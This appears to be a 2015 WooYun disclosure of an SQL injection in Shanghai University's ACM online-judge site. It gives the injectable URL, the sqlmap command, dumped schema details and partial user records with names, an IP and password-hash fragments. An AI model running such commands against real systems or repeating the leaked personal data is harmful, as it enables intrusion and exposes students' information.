当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109152

漏洞标题:上海大学ACM的Mysql注入一枚

相关厂商:上海大学

漏洞作者: 小天

提交时间:2015-04-24 14:54

修复时间:2015-04-29 14:56

公开时间:2015-04-29 14:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-24: 细节已通知厂商并且等待厂商处理中
2015-04-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

终于遇到mysql的数据库了,,还是5.0的,,不错,,,
这个不会忽略吧,,,至少有2657 entries 个人信息呢,,

详细说明:

注入点:http://acmoj.shu.edu.cn/openjudge/status.php?aprob_id=1&ares_id=1
sqlmap.py -u "http://acmoj.shu.edu.cn/openjudge/status.php?aprob_id=1&ares_id=1" -p "ares_id" --dbs
available databases [7]:
[*] information_schema
[*] luntan
[*] openjudge
[*] openjudge_con
[*] openjudge_edu
[*] test
[*] training
Database: openjudge_edu
[16 tables]
+-------------+
| group |
| user |
| category |
| coll_rank |
| collection |
| group_coll |
| group_rank |
| judge |
| prob_cate |
| prob_coll |
| problem |
| solution |
| subscriber |
| test_case |
| test_result |
| user_group |
+-------------+
web server operating system: Linux Ubuntu 7.04 (Feisty Fawn)
web application technology: Apache 2.2.3, PHP 5.2.1
back-end DBMS: MySQL 5.0
[09:56:37] [INFO] fetching columns for table 'user' in database 'openjudge_edu'
[09:56:37] [INFO] the SQL query used returns 9 entries
[09:56:37] [INFO] resumed: "user_id","int(11)"
[09:56:37] [INFO] resumed: "username","varchar(32)"
[09:56:37] [INFO] resumed: "password","char(40)"
[09:56:37] [INFO] resumed: "name","varchar(50)"
[09:56:37] [INFO] resumed: "email","varchar(127)"
[09:56:37] [INFO] resumed: "privilege","tinyint(4)"
[09:56:37] [INFO] resumed: "last_ip_addr","varchar(15)"
[09:56:37] [INFO] resumed: "last_login_time","datetime"
[09:56:37] [INFO] resumed: "num_log","int(11)"
[09:56:37] [INFO] fetching entries for table 'user' in database 'openjudge_edu'
[09:56:37] [INFO] the SQL query used returns 2657 entries
[09:56:37] [WARNING] reflective value(s) found and filtering out
[09:56:37] [INFO] retrieved: "","10.105.1.200"," ","郑瑞忻","10","5e03be227a87d5
...
[09:56:38] [INFO] retrieved: "","10.105.1.200"," ","曹一名","36","d1c8037110bbd2
...

漏洞证明:

11212115.png


123.png

修复方案:

过滤

版权声明:转载请注明来源 小天@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-29 14:56

厂商回复:

最新状态:

暂无


漏洞评价:

评论